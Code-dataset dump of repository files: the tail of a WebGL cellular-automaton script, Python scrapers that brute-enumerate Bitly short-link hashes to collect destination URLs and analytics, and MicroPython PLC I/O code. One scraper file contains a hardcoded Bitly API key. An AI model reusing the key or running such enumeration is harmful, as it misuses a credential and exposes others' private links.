Math.ceil(Math.sqrt(depth4));\n const gridH = Math.floor((depth4 + gridW - 1) / gridW);\n const texW = w * gridW, texH = h * gridH;\n\n const attachments = [{ minMag: gl.NEAREST }];\n const fbi = twgl.createFramebufferInfo(gl, attachments, texW, texH);\n const tex = fbi.attachments[0];\n const C = Math.atan(MAX_ACTIVATION_VALUE);\n let packScaleBias = [2.0*C, 127.0/255.0];\n if (activation == 'relu') {\n packScaleBias = [C, 0.0];\n }\n return { _type: 'tensor',\n fbi, w, h, depth, gridW, gridH, depth4, tex,\n activation, packScaleBias};\n }\n\n function setTensorUniforms(uniforms, name, tensor) {\n uniforms[name + '.size'] = [tensor.w, tensor.h];\n uniforms[name + '.gridSize'] = [tensor.gridW, tensor.gridH];\n uniforms[name + '.depth'] = tensor.depth;\n uniforms[name + '.depth4'] = tensor.depth4;\n uniforms[name + '.packScaleBias'] = tensor.packScaleBias;\n if (name != 'u_output') {\n uniforms[name + '_tex'] = tensor.tex;\n }\n }\n\n function runLayer(programName, output, inputs) {\n inputs = inputs || {};\n const uniforms = {};\n for (const name in inputs) {\n const val = inputs[name];\n if (val._type == 'tensor') {\n setTensorUniforms(uniforms, name, val);\n } else {\n uniforms[name] = val;\n }\n }\n setTensorUniforms(uniforms, 'u_output', output);\n\n const program = progs[programName];\n twgl.bindFramebufferInfo(gl, output.fbi);\n gl.useProgram(program.program);\n twgl.setBuffersAndAttributes(gl, program, quad);\n twgl.setUniforms(program, uniforms);\n twgl.drawBufferInfo(gl, quad);\n return {programName, output}\n }\n\n function createDenseInfo(params) {\n const src = decodeArray(params.data_b64, Uint8Array);\n const coefs = [params.weight_scale, params.bias_scale, 0.5];\n const tex = twgl.createTexture(gl, {\n minMag: gl.NEAREST,\n width: params.out_ch / 4, height: params.in_ch + 1, src: src\n });\n return {tex, coefs};\n }\n\n const progs = createPrograms();\n const quad = twgl.createBufferInfoFromArrays(gl, {\n position: [-1, -1, 0, 1, -1, 0, -1, 1, 0, -1, 1, 0, 1, -1, 0, 1, 1, 0],\n });\n \n\n let stateBuf = createTensor(gridW, gridH, CHANNEL_N);\n let newStateBuf = createTensor(gridW, gridH, CHANNEL_N);\n const perceptionBuf = createTensor(gridW, gridH, CHANNEL_N*3);\n const hiddenBuf = createTensor(gridW, gridH, 128, 'relu');\n const updateBuf = createTensor(gridW, gridH, CHANNEL_N);\n const maskedUpdateBuf = createTensor(gridW, gridH, CHANNEL_N);\n \n let layerTex1 = createDenseInfo(layerWeights[0]);\n let layerTex2 = createDenseInfo(layerWeights[1]);\n\n let rotationAngle = 0.0;\n function setAngle(v) {\n rotationAngle = v/180.0*Math.PI;\n }\n\n const ops = [\n ()=>runLayer('perception', perceptionBuf, {u_input: stateBuf, u_angle: rotationAngle}),\n ()=>runLayer('dense', hiddenBuf, {u_input: perceptionBuf,\n u_weightTex: layerTex1.tex, u_weightCoefs:layerTex1.coefs}),\n ()=>runLayer('dense', updateBuf, {u_input: hiddenBuf,\n u_weightTex: layerTex2.tex, u_weightCoefs: layerTex2.coefs}),\n ()=>runLayer('dropout', maskedUpdateBuf, {u_input: updateBuf,\n u_seed: Math.random()*1000, u_udpateProbability: 0.5}),\n ()=>runLayer('update', newStateBuf, {u_input: stateBuf, u_update: maskedUpdateBuf}),\n ];\n\n\n\n let fpsStartTime;\n let fpsCount = 0;\n let lastFpsCount = '';\n let totalStepCount = 0;\n function fps() {\n return lastFpsCount;\n }\n function getStepCount() {\n return totalStepCount;\n }\n\n let lastDamage = [0, 0, -1];\n function paint(x, y, r, brush) {\n runLayer('paint', stateBuf, {\n u_pos: [x, y], u_r: r,\n u_brush: {clear: 0.0, seed: 1.0}[brush],\n });\n if (brush == 'clear' && r < 1000) {\n lastDamage = [x, y, r]; \n }\n }\n function reset() {\n paint(0, 0, 10000, 'clear');\n paint(gridW/2, gridH/2, 1, 'seed');\n totalStepCount = 0;\n }\n reset();\n\n function step() {\n for (const op of ops) op();\n [stateBuf, newStateBuf] = [newStateBuf, stateBuf]\n\n totalStepCount += 1;\n fpsCount += 1;\n let time = Date.now();\n if (!fpsStartTime)\n fpsStartTime = time;\n const fpsInterval = 1000;\n if (time-fpsStartTime > fpsInterval) {\n time = Date.now();\n lastFpsCount = (fpsCount * 1000/(time-fpsStartTime)).toFixed(1);\n fpsStartTime = time;\n fpsCount = 0;\n }\n }\n\n const visModes = ['color', 'state', 'perception', 'hidden', 'update', 'maskedUpdate'];\n\n function draw(visMode) {\n visMode = visMode || 'color';\n gl.useProgram(progs.vis.program);\n twgl.setBuffersAndAttributes(gl, progs.vis, quad);\n const uniforms = {u_raw: 0.0, u_lastDamage: lastDamage}\n lastDamage[2] = Math.max(-0.1, lastDamage[2]-1.0);\n let inputBuf = stateBuf;\n if (visMode != 'color') {\n inputBuf = {stateBuf, perceptionBuf, hiddenBuf, updateBuf, maskedUpdateBuf}[visMode+'Buf'];\n uniforms.u_raw = 1.0;\n }\n setTensorUniforms(uniforms, 'u_input', inputBuf);\n twgl.setUniforms(progs.vis, uniforms);\n twgl.drawBufferInfo(gl, quad);\n }\n\n function setWeights(layerWeights) {\n gl.deleteTexture(layerTex1.tex);\n gl.deleteTexture(layerTex2.tex);\n layerTex1 = createDenseInfo(layerWeights[0]);\n layerTex2 = createDenseInfo(layerWeights[1]);\n }\n\n const _flushBuf = new Uint8Array(4);\n function flush(buf) {\n buf = buf || stateBuf;\n // gl.flush/finish don't seem to do anything, so reading a single \n // pixel from the state buffer to flush the GPU command pipeline\n twgl.bindFramebufferInfo(gl, buf.fbi);\n gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, _flushBuf);\n }\n\n function benchmark() {\n flush();\n const stepN = 100;\n const start = Date.now();\n for (let i = 0; i < stepN; ++i)\n step();\n flush();\n const total = (Date.now()-start) / stepN;\n\n const perOp = [];\n for (const op of ops) {\n const start = Date.now();\n let r;\n for (let i = 0; i < stepN; ++i) {\n r = op();\n }\n flush(r.output);\n const dt = (Date.now()-start) / stepN;\n const percent = 100.0*dt/total;\n perOp.push(`${r.programName}: ${percent.toFixed(1)}%`);\n }\n return `${(total).toFixed(2)} ms/step, ${(1000.0 / total).toFixed(2)} step/sec\\n` +\n perOp.join(', ')+'\\n\\n';\n \n }\n\n return {reset, step, draw, benchmark, setWeights, paint, visModes, gridSize, \n fps, flush, getStepCount, setAngle};\n}\n"
}
] | 3 |
73spica/short_url | https://github.com/73spica/short_url | 067987c2df866fefc69e23159866177785ff636c | d6445e10b349793085d1737b429514688b39220a | 27247be21cd7d2db49b611c8211cb7d026faebaf | refs/heads/master | 2021-08-28T02:14:34.693223 | 2017-12-11T02:33:02 | 2017-12-11T02:33:02 | 112,810,333 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6077347993850708,
"alphanum_fraction": 0.6574585437774658,
"avg_line_length": 12.923076629638672,
"blob_id": "479836f066abe6c6b8be12e91746732a86f90440",
"content_id": "61e6bef869d9a81be8d8e063bf154d83abd6bcb9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 382,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 26,
"path": "/README.md",
"repo_name": "73spica/short_url",
"src_encoding": "UTF-8",
"text": "# Short URL Works\n短縮URL関連のリポジトリ\n\n# Environment\n- Python3.6.3\n- pip (9.0.1)\n- lxml (4.1.1)\n- requests (2.18.4)\n- beautifulsoup4 (4.6.0)\n\n# Setup\n```\n$ python -m venv work-env\n$ source ./work-env/bin/activate\n$ pip install requests\n$ pip install beautifulsoup4\n$ pip install lxml\n\n$ deactivate\n```\n\n# Usage\n```\n$ source ./work-env/bin/activate\n$ python ~~~.py\n```\n"
},
{
"alpha_fraction": 0.6275033354759216,
"alphanum_fraction": 0.6368491053581238,
"avg_line_length": 22.046154022216797,
"blob_id": "b059ba2a6bfe42b238e76c80761ad9ccecae7238",
"content_id": "ef11a11d0262d01eddb64c75f14ebddda0ddaf06",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1612,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 65,
"path": "/scripts/tinyurlcrawler.py",
"repo_name": "73spica/short_url",
"src_encoding": "UTF-8",
"text": "\"\"\"\n短縮URLクローリングモジュール\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport json\nfrom itertools import product\nimport string\nfrom time import sleep\n\n# Bitly My Page\n# - https://app.bitly.com/Bhbr4V3UGjq/bitlinks/2AaaPsX\n# In Bitly, We can access an analytics page by adding \"+\" the target shortener URL.\n# - http://bit.ly/2AaaPsX\n# -> http://bit.ly/2AaaPsX+\n\n# In Bitly, the method for crawling is three.\n# i) Analytics Page Access\n# ii) Using API\n# iii) Auto brawsing\n\nclass CrawlerVerMaint:\n \"\"\"tinyurlのクローリングのためのクラス\"\"\"\n\n BASE_MAINT_URL = \"https://preview.tinyurl.com/\"\n \n def __init__(self):\n pass\n\n @staticmethod\n def get_page(target_url):\n \"\"\"引数のURLへGetした結果を返す関数\"\"\"\n r = requests.get(target_url)\n return r.text\n\n @staticmethod\n def get_link_info(short_url, redo=5):\n \"\"\"短縮URLの情報を取得し整形して返す関数\"\"\"\n pass\n \n\ndef main():\n bitly_api_key = \"c7e7f54b82da0a00900f776d5e1c2bf6308b2427\"\n base_target_url = \"https://bitly.com/\"\n target_url = \"http://73spica.tech/blog/\"\n target_url = \"https://bit.ly/2AaaPsX\"\n target_url = \"https://bitly.com/b4yqKg\"\n target_url = \"https://bitly.com/a\"\n ex_url = \"https://tinyurl.com/6rmuv\"\n short_hash = \"6rmuv\"\n ex_maint_url = \"https://preview.tinyurl.com/6rmuv\"\n help(CrawlerVerMaint)\n return\n\n print(CrawlerVerMaint.get_page(ex_maint_url))\n\n return\n\n f = open(\"short-long.txt\",\"w\")\n chrs = string.ascii_letters + string.digits\n\nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.5132991075515747,
"alphanum_fraction": 0.5212318897247314,
"avg_line_length": 30.057971954345703,
"blob_id": "66209fde2bb5258c501e9f58be890d6adc4104f6",
"content_id": "383cf6a643e833a461e73b5ec7486e1feeea351d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2143,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 69,
"path": "/scripts/crawl.py",
"repo_name": "73spica/short_url",
"src_encoding": "UTF-8",
"text": "from bitlycrawler import CrawlerVerAPI, CrawlerVerMaint\nimport string\nfrom itertools import product\nimport apikey\nimport requests\nimport sys\nimport traceback\nimport time\n\ndef main():\n bitly_apikey = apikey.bitly_apikey[\"vernal\"]\n base_target_url = \"https://bitly.com/\"\n target_url = \"http://73spica.tech/blog/\"\n target_url = \"https://bit.ly/2AaaPsX\"\n target_url = \"https://bitly.com/b4yqKg\"\n target_url = \"https://bitly.com/a\"\n\n f = open(\"output/one-test.txt\",\"w\")\n\n for i in range(3000):\n bf = True\n while bf:\n try:\n target_url = base_target_url + \"gz\"\n info = CrawlerVerMaint.get_link_info(target_url)\n if info:\n f.write(info+\"\\n\")\n bf = False\n else:\n f.write(\"It's NoneType.\\n\")\n time.sleep(5)\n except:\n f.write(\"Error.\\n\")\n time.sleep(5)\n break\n time.sleep(5)\n return\n\n #f = open(\"short-long.txt\",\"w\")\n f = open(\"test3.txt\",\"w\")\n chrs = string.ascii_letters + string.digits\n for i,x in enumerate(product(chrs, repeat=2)):\n #for x in product(chrs, repeat=2):\n short_hash = \"\".join(x)\n #print(short_hash)\n target_url = base_target_url + short_hash\n try:\n info = CrawlerVerMaint.get_link_info(target_url, 10)\n if info:\n f.write(info+\"\\n\")\n continue\n if info:\n out = \"%s | %s\\n\"%(short_hash,info[\"base_info\"][\"long_url\"])\n else:\n out = \"%s | %s\\n\"%(short_hash, \"Not exist.\")\n f.write(out)\n except requests.exceptions.ConnectionError as err:\n print(\"ConnectionError:\", err)\n print(\"Now: %d : %s\"%(i, short_hash))\n except Exception as e:\n print(\"Unexpected error:\", sys.exc_info()[0])\n traceback.print_exc()\n print(\"Now: %d : %s\"%(i, short_hash))\n f.close()\n return\n print( CrawlerVerAPI.get_link_info(bitly_api_key, target_url) )\n\nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.6801406145095825,
"alphanum_fraction": 0.6906853914260864,
"avg_line_length": 21.760000228881836,
"blob_id": "d542a7ee0daeb45ea6b26b1b7acde243f229a357",
"content_id": "d23cbbe03477f3aa6a8ae75f58c9af2df06b78df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 663,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 25,
"path": "/scripts/api_limit_test.py",
"repo_name": "73spica/short_url",
"src_encoding": "UTF-8",
"text": "from bitlycrawler import CrawlerVerAPI, CrawlerVerMaint\nimport string\nfrom itertools import product\nimport apikey\nimport requests\nimport sys\nimport traceback\nimport time\n\n\ndef main():\n bitly_apikeys = apikey.bitly_apikey\n chrs = string.ascii_letters + string.digits\n\n # とりあえず適当な一つのAPIキーの利用制限を見る\n # 3000くらいならいけそうだから3文字くらいでやってみようかな\n for x in product(chrs,repeat=3):\n short_hash = \"\".join(x)\n print(short_hash)\n break\n print(CrawlerVerAPI.get_link_info(bitly_apikeys[\"vernal\"], \"aa\"))\n \n\nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.5388615131378174,
"alphanum_fraction": 0.5437876582145691,
"avg_line_length": 31.909910202026367,
"blob_id": "050752e9bf6a84853499ae6312f8adeeb0581a7b",
"content_id": "3ce0b7d3eaeb609a324c7241935ca6fe5a655c3d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4004,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 111,
"path": "/scripts/bitlycrawler.py",
"repo_name": "73spica/short_url",
"src_encoding": "UTF-8",
"text": "import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport json\nfrom itertools import product\nimport string\nfrom time import sleep\n\n\"\"\"\nBitly My Page\n - https://app.bitly.com/Bhbr4V3UGjq/bitlinks/2AaaPsX\nIn Bitly, We can access an analytics page by adding \"+\" the target shortener URL.\n - http://bit.ly/2AaaPsX\n -> http://bit.ly/2AaaPsX+\n\nIn Bitly, the method for crawling is three.\ni) Analytics Page Access\nii) Using API\niii) Auto brawsing\n\"\"\"\n\nclass CrawlerVerAPI:\n \"\"\"bit.lyのクローリングのためのクラス\"\"\"\n\n BASE_API_DOMAIN = \"https://api-ssl.bitly.com\"\n BASE_BITLY_DOMAIN = \"https://bit.ly/\"\n BASE_JMP_DOMAIN = \"http://j.mp/\"\n \"\"\"\n BASE_API_DOMAIN : APIのためのURL\n BASE_BITLY_DOMAIN: bit.lyの短縮URLのドメイン\n BASE_JMP_DOMAIN : j.mpの短縮URLのドメイン \n \"\"\"\n\n def __init__(self):\n pass\n\n @classmethod\n def do_shortener(cls, api_key, long_url):\n \"\"\"\n APIキーとLongURLを渡すと短縮URLを生成しそのURLを返す\n \"\"\"\n shortener_path = \"/v3/shorten\"\n shortener_query = \"?access_token={}&longUrl={}\".format(api_key, long_url)\n api_url = cls.BASE_API_DOMAIN + shortener_path + shortener_query\n r = requests.get(api_url, timeout=2)\n return r.text\n\n @classmethod\n def get_link_info(cls, api_key, short_url, target=\"b\"):\n \"\"\"\n APIキーと短縮URLを指定するとそのリンク先の情報を返す\n \"\"\"\n target_domain = \"\"\n if target == \"b\":\n target_domain = cls.BASE_BITLY_DOMAIN\n elif target == \"j\":\n target_domain = cls.BASE_JMP_DOMAIN\n else:\n print(\"Invalid target.\")\n return\n shortener_path = \"/v3/link/info\"\n if not short_url.startswith(target_domain):\n short_url = target_domain + short_url\n shortener_query = \"?access_token={}&link={}\".format(api_key, short_url)\n api_url = cls.BASE_API_DOMAIN + shortener_path + shortener_query\n r = requests.get(api_url, timeout=2)\n return r.text\n\n @classmethod\n def api_limit_test(cls, api_key, short_url):\n pass\n\nclass CrawlerVerMaint:\n BASE_API_URL = \"https://api-ssl.bitly.com\"\n \n def __init__(self):\n pass\n\n @staticmethod\n def get_link_info(short_url, redo=5):\n url = short_url + \"+\"\n # redo回までに目的のデータが取れればreturnで帰る\n for i in range(redo):\n try:\n r = requests.get(url, timeout=1)\n soup = BeautifulSoup(r.text, 'lxml')\n r = re.compile(\"{.+}\")\n for tag in soup.find_all(\"script\", attrs={\"type\": \"text/javascript\"}):\n jscode = tag.text\n if \"long_url_no\" in jscode:\n #if jscode != \"\": # これだとgetTimeとかいうのが入った時に取れない\n # 今回は数も少ないしどうせリストにするのでfindall使おうかしら\n #for m in r.finditer(jscode):\n # print(m.group())\n return jscode\n results = r.findall(jscode) # TODO: この条件で取れてない可能性\n ret = {}\n ret[\"base_info\"] = json.loads(results[0])\n ret[\"click\"] = json.loads(results[1])\n ret[\"user_info\"] = json.loads(results[2])\n ret[\"others\"] = json.loads(results[3])\n return ret\n except requests.exceptions.ConnectionError as err:\n print(\"ConnectionError:\", err)\n raise err\n except Exception as e:\n print(\"Unexpected error:\", sys.exc_info()[0])\n raise e\n #sleep(1)\n # ここに来てたら,該当のJSコードがなかったということ\n return None\n\n"
}
] | 5 |
PlcNode/PlcNodeIDE | https://github.com/PlcNode/PlcNodeIDE | f8b38cc6b69fdf85f8238e4102a34d594530be0c | de7c729193ed24c158003cbcba3f7687e0955d42 | 533a087441696a461277da4fdc301aac51b40ad8 | refs/heads/main | 2023-05-07T06:45:51.212228 | 2021-05-21T08:10:11 | 2021-05-21T08:10:11 | 355,742,929 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4082568883895874,
"alphanum_fraction": 0.46330276131629944,
"avg_line_length": 25.375,
"blob_id": "e46b86acad09ba6d2ae1cbc68f1b6b63b7099e8f",
"content_id": "b19e674f40aebaa920ce0642c22f1573b6253419",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 436,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 16,
"path": "/plc/plcsocket.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
"text": "from plc import *\r\ndef socket(payload):\r\n if(payload == \"rutina1\"):\r\n Q4.Out(\"S\")\r\n wait(2000)\r\n Q4.Out(\"R\")\r\n wait(2000)\r\n return \"This is the mesagge sended to client (1)\"\r\n \r\n if(payload == \"rutina2\"):\r\n for i in range(10):\r\n Q4.Out(\"S\")\r\n wait(100)\r\n Q4.Out(\"R\")\r\n wait(100)\r\n return \"This is the mesagge sended to client (2)\""
},
{
"alpha_fraction": 0.4537865221500397,
"alphanum_fraction": 0.47386205196380615,
"avg_line_length": 22.78325080871582,
"blob_id": "e4c45eba40cb031ee78c4f98c31a80f87738c5c5",
"content_id": "70c6466a298cfb50712b16d239f1774742b9c8b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5031,
"license_type": "no_license",
"max_line_length": 187,
"num_lines": 203,
"path": "/plc/plc.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
"text": "\r\nfrom machine import Pin\r\nfrom time import ticks_ms\r\nimport ujson\r\nimport uos\r\nimport gc\r\n\r\n#------------------------------------------------------------------------------\r\nclass Entrada:\r\n '''Clase para entradas'''\r\n\r\n def __init__(self, pin, ent = 0):\r\n #Se introduce el pin y el modo de funcionamiento\r\n if ent == \"PU\":\r\n self.__I = Pin(pin, Pin.IN, Pin.PULL_UP)\r\n else:\r\n self.__I = Pin(pin, Pin.IN, Pin.PULL_DOWN)\r\n self.__value = 0\r\n self.mode = \"NO\"\r\n self.__preval = self.__I.value()\r\n \r\n def Res(self):\r\n '''Reset'''\r\n self.__preval = self.__value\r\n self.value = 0\r\n\r\n def Leer(self, mode = 0):\r\n '''Funcion que retorna el valor y detecta flancos'''\r\n #Rising\r\n if mode == \"Rising\" and self.__preval == 0 and self.__I.value() == 1:\r\n self.__value = 1\r\n #Falling\r\n elif mode == \"Falling\" and self.__preval == 1 and self.__I.value() == 0:\r\n self.__value = 1\r\n #NO\r\n elif mode == \"NO\":\r\n self.__value = self.__I.value()\r\n #NC\r\n elif mode == \"NC\":\r\n self.__value = not self.__I.value()\r\n else:\r\n print(\"No definido\")\r\n self.__value = self.__I.value()\r\n\r\n def Val(self, mode = \"NO\"):\r\n '''Funcion que lee el estado de las entradas'''\r\n self.mode = mode\r\n return self.__value\r\n\r\n\r\nclass Salida:\r\n ''' Clase para salidas'''\r\n \r\n def __init__(self, pin, value = 0):\r\n #Se introduce el pin y un valor opcional de inicio\r\n if value in (\"True\", \"On\", 1):\r\n value = 1\r\n elif value in (\"False\", \"Off\", 0):\r\n value = 0\r\n else: pass\r\n self.__value = value\r\n #se crea el objeto\r\n self.__Q = Pin(pin, Pin.OUT, value)\r\n\r\n def Res(self):\r\n '''Reset'''\r\n if not self.__value == 'S':\r\n self.Out(\"Off\")\r\n \r\n def Out(self, state = \"On\"):\r\n '''Se almacena el estado deseado'''\r\n self.__value = state\r\n \r\n def Set(self):\r\n '''Se ejecuta el estado deseado'''\r\n self.__Out()\r\n \r\n def __Out(self):\r\n '''Cambiar salida'''\r\n #On\r\n if self.__value == \"On\":\r\n if not self.__Q.value():\r\n self.__Q.on() \r\n #Off\r\n elif self.__value == \"Off\":\r\n self.__Q.off()\r\n #TOGGLE\r\n elif self.__value == 'T':\r\n if self.__Q.value == 1:\r\n self.__Q.off()\r\n elif self.__Q.value == 0:\r\n self.__Q.on()\r\n #Set\r\n elif self.__value == 'S':\r\n if not __Q.value():\r\n self.__Q.on()\r\n #Reset\r\n elif self.__value == 'R' or not self.__value.is_integer() or self.__value < 0 or self.__value > 4096:\r\n self.__Q.off()\r\n #PWM\r\n else:\r\n pass\r\n\r\n def Value(self):\r\n '''Consulta de valor actual'''\r\n return self.__Q.value()\r\n\r\n\r\nplcJson = ujson.loads(open(\"plc.json\").read())\r\nsocketPayload = \"\"\r\nsocketDebug = \"\"\r\nlastSocketDebug = \"\"\r\n \r\ndef freeMemory():\r\n gc.collect()\r\n F = gc.mem_free()\r\n A = gc.mem_alloc()\r\n T = F+A\r\n P = '{0:.2f}%'.format(F/T*100)\r\n return ('Total:{} Bytes, Free:{} Bytes, ({})'.format(T,F,P))\r\n \r\ndef wait(delay):\r\n currentTime = ticks_ms()\r\n while True:\r\n if ((ticks_ms()-currentTime)>float(delay)):\r\n break\r\n\r\ndef console_log(string):\r\n socketDebug = str(string)\r\n\r\ndef listDir():\r\n listdir = []\r\n for i in uos.listdir():\r\n if not (i == \"plc.py\" or i == \"manifest.json\" or i == \"plc.json\" or i == \"boot.py\" or i == \"microWebSrv.py\" or i == \"microWebSocket.py\" or i == \"ssd1306.py\" or i == \"index.html\"):\r\n listdir.append(i)\r\n return listdir\r\n\r\ndef getContentFiles():\r\n content = {}\r\n for i in listDir():\r\n content[str(i)] = open('/'+i).read()\r\n return serialize(content)\r\n\r\ndef deserialize(data):\r\n return ujson.loads(str(data))\r\n\r\ndef serialize(data):\r\n return ujson.dumps(data)\r\n\r\ndef setWifiName(data):\r\n plcJson['wifiName'] = str(data)\r\n\r\ndef setWifiPassword(data):\r\n plcJson['wifiPassword'] = str(data)\r\n \r\ndef getWifiName():\r\n return plcJson['wifiName']\r\n\r\ndef getWifiPassword():\r\n return plcJson['wifiPassword']\r\n\r\ndef Reset():\r\n I0.Res()\r\n I1.Res()\r\n I2.Res()\r\n I3.Res()\r\n I4.Res()\r\n I5.Res()\r\n Q0.Res()\r\n Q1.Res()\r\n Q2.Res()\r\n Q3.Res()\r\n Q4.Res()\r\n Q5.Res()\r\n\r\ndef Leer():\r\n I0.Leer(I0.mode)\r\n I1.Leer(I1.mode)\r\n I2.Leer(I2.mode)\r\n I3.Leer(I3.mode)\r\n I4.Leer(I4.mode)\r\n I5.Leer(I5.mode)\r\n\r\ndef Set():\r\n Q0.Set()\r\n Q1.Set()\r\n Q2.Set()\r\n Q3.Set()\r\n Q4.Set()\r\n Q5.Set()\r\n\r\nI0 = Entrada(36)\r\nI1 = Entrada(39)\r\nI2 = Entrada(34)\r\nI3 = Entrada(35)\r\nI4 = Entrada(32)\r\nI5 = Entrada(33)\r\n\r\nQ0 = Salida(19,1)\r\nQ1 = Salida(23,1)\r\nQ2 = Salida(18,1)\r\nQ3 = Salida(5,1)\r\nQ4 = Salida(4,1)\r\nQ5 = Salida(15,1)"
},
{
"alpha_fraction": 0.49180328845977783,
"alphanum_fraction": 0.5409836173057556,
"avg_line_length": 13.75,
"blob_id": "d78a41d3c3ce5654e40e4cb8d98b44faecfd4c75",
"content_id": "49d3c7d60dd31303235a9fb60aaba0187de4831a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 61,
"license_type": "no_license",
"max_line_length": 17,
"num_lines": 4,
"path": "/plc/ejemplo.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
"text": "from plc import *\r\ndef rutina1():\r\n Q4.Out()\r\n Q5.Out()"
},
{
"alpha_fraction": 0.4062042832374573,
"alphanum_fraction": 0.4310798943042755,
"avg_line_length": 22.407142639160156,
"blob_id": "1af582aefb3a1dd69ffc3dde5ef188539241ff2c",
"content_id": "1201dfef8aa585003f288bf061e508fd624f4fde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3417,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 140,
"path": "/plc/PP.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
"text": "\r\nfrom machine import Pin\r\n#------------------------------------------------------------------------------\r\nclass Entrada:\r\n '''Clase para entradas'''\r\n\r\n def __init__(self, pin, ent = 0):\r\n #Se introduce el pin y el modo de funcionamiento\r\n if ent == \"PU\":\r\n self.__I = Pin(pin, Pin.IN, Pin.PULL_UP)\r\n else:\r\n self.__I = Pin(pin, Pin.IN, Pin.PULL_DOWN)\r\n self.__preval = self.__I.value()\r\n \r\n def Res(self):\r\n '''Reset'''\r\n self.__preval = self.__value\r\n self.value = 0\r\n\r\n def leer(self, mode = 0):\r\n '''Funcion que retorna el valor y detecta flancos'''\r\n #Rising\r\n if mode == \"Rising\" and self.__preval == 0 and self.__I.value() == 1:\r\n self.__value = 1\r\n #Falling\r\n elif mode == \"Falling\" and self.__preval == 1 and self.__I.value() == 0:\r\n self.__value = 1\r\n #NO\r\n elif mode == \"NO\":\r\n self.__value = self.__I.value()\r\n #NC\r\n elif mode == \"NC\":\r\n self.__value = not self.__I.value()\r\n else:\r\n print(\"error\")\r\n self.__value = self.__I.value()\r\n\r\n def Val(self):\r\n '''Funcion que lee el estado de las entradas'''\r\n return self.__value\r\n\r\n\r\nclass Salida:\r\n ''' Clase para salidas'''\r\n \r\n def __init__(self, pin, value = 0):\r\n #Se introduce el pin y un valor opcional de inicio\r\n if value in (\"True\", \"On\", 1):\r\n value = 1\r\n elif value in (\"False\", \"Off\", 0):\r\n value = 0\r\n else: pass\r\n #se crea el objeto\r\n self.__Q = Pin(pin, Pin.OUT, value)\r\n\r\n def Res(self):\r\n '''Reset'''\r\n if not self.__value == 'S':\r\n self.Out(\"Off\")\r\n \r\n def Out(self, state = \"On\"):\r\n '''Se almacena el estado deseado'''\r\n self.__value = state\r\n print(self.__value)\r\n \r\n def Set(self):\r\n '''Se ejecuta el estado deseado'''\r\n self.__Out()\r\n \r\n def __Out(self):\r\n '''Cambiar salida'''\r\n print(self.__value)\r\n #On\r\n if self.__value == \"On\":\r\n self.__Q.on() \r\n #Off\r\n elif self.__value == \"Off\":\r\n self.__Q.off()\r\n #TOGGLE\r\n elif self.__value == 'T':\r\n if self.__Q.value == 1:\r\n self.__Q.off()\r\n elif self.__Q == 0:\r\n self.__Q.on()\r\n #Set\r\n elif self.__value == 'S':\r\n self.__Q.on()\r\n #Reset\r\n elif self.__value == 'R' or not self.__value.is_integer() or self.__value < 0 or self.__value > 4096:\r\n self.__Q.off()\r\n #PWM\r\n else:\r\n pass\r\n\r\n def Value(self):\r\n '''Consulta de valor actual'''\r\n return self.__Q.value()\r\n\r\ndef Reset():\r\n I0.Res()\r\n I1.Res()\r\n I2.Res()\r\n I3.Res()\r\n I4.Res()\r\n I5.Res()\r\n Q0.Res()\r\n Q1.Res()\r\n Q2.Res()\r\n Q3.Res()\r\n Q4.Res()\r\n Q5.Res()\r\n\r\ndef Leer():\r\n I0.leer()\r\n I1.Leer()\r\n I2.Leer()\r\n I3.Leer()\r\n I4.Leer()\r\n I5.Leer()\r\n\r\ndef Set():\r\n Q0.Set()\r\n Q1.Set()\r\n Q2.Set()\r\n Q3.Set()\r\n Q4.Set()\r\n Q5.Set()\r\n\r\nI0 = Entrada(36)\r\nI1 = Entrada(39)\r\nI2 = Entrada(34)\r\nI3 = Entrada(35)\r\nI4 = Entrada(32)\r\nI5 = Entrada(33)\r\n\r\nQ0 = Salida(19,1)\r\nQ1 = Salida(23,1)\r\nQ2 = Salida(18,1)\r\nQ3 = Salida(5,1)\r\nQ4 = Salida(4,1)\r\nQ5 = Salida(15,1)"
},
{
"alpha_fraction": 0.5169082283973694,
"alphanum_fraction": 0.5507246255874634,
"avg_line_length": 14.076923370361328,
"blob_id": "2fdf374ceb2ef2a2a660f6f994c2640ccecf9460",
"content_id": "e533d674438451e6b0b61a33605d9aef1f012161",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 207,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 13,
"path": "/plc/main.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
